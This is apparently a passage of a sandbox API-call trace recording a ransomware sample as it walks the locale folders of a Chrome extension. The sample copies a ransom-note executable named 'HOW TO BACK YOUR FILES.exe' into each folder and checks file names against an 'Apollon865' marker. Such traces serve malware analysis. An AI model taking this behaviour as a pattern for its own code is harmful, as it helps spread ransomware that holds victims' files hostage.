	[0048.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x350d3070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x350d3070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.623] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.623] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.623] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.623] lstrlenW (lpString="messages.json") returned 13
	[0048.623] lstrlenW (lpString="Apollon865") returned 10
	[0048.623] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.623] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi"
	[0048.623] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi"
	[0048.623] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.623] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.628] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.628] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x350d3070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x350d3070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.628] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.628] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.628] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.628] lstrlenW (lpString="messages.json") returned 13
	[0048.628] lstrlenW (lpString="Apollon865") returned 10
	[0048.628] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.628] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu"
	[0048.628] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu"
	[0048.628] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.628] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.632] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.632] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x350f91d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x350f91d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.632] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.633] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.633] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.633] lstrlenW (lpString="messages.json") returned 13
	[0048.633] lstrlenW (lpString="Apollon865") returned 10
	[0048.633] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.633] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl"
	[0048.633] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl"
	[0048.633] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.633] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.637] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.637] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x350f91d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x350f91d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.637] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.637] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.637] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.637] lstrlenW (lpString="messages.json") returned 13
	[0048.637] lstrlenW (lpString="Apollon865") returned 10
	[0048.637] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.637] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA"
	[0048.637] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA"
	[0048.637] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.637] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.641] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.641] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x350f91d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x350f91d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.641] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.641] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.641] lstrcpyW (in: lpString1=0x2d3e66a, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.641] lstrlenW (lpString="messages.json") returned 13
	[0048.641] lstrlenW (lpString="Apollon865") returned 10
	[0048.641] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.642] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr"
	[0048.642] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr"
	[0048.642] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.642] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.646] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3511f330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3511f330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.646] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.646] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.646] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.646] lstrlenW (lpString="messages.json") returned 13
	[0048.647] lstrlenW (lpString="Apollon865") returned 10
	[0048.647] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.647] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil"
	[0048.647] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil"
	[0048.647] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.647] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.651] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3511f330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3511f330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.651] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.651] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.652] lstrcpyW (in: lpString1=0x2d3e666, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.652] lstrlenW (lpString="messages.json") returned 13
	[0048.652] lstrlenW (lpString="Apollon865") returned 10
	[0048.652] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.652] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi"
	[0048.652] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi"
	[0048.652] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.652] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.656] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.656] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3511f330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3511f330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.656] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.656] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.656] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.656] lstrlenW (lpString="messages.json") returned 13
	[0048.656] lstrlenW (lpString="Apollon865") returned 10
	[0048.656] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.656] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa"
	[0048.656] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa"
	[0048.656] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
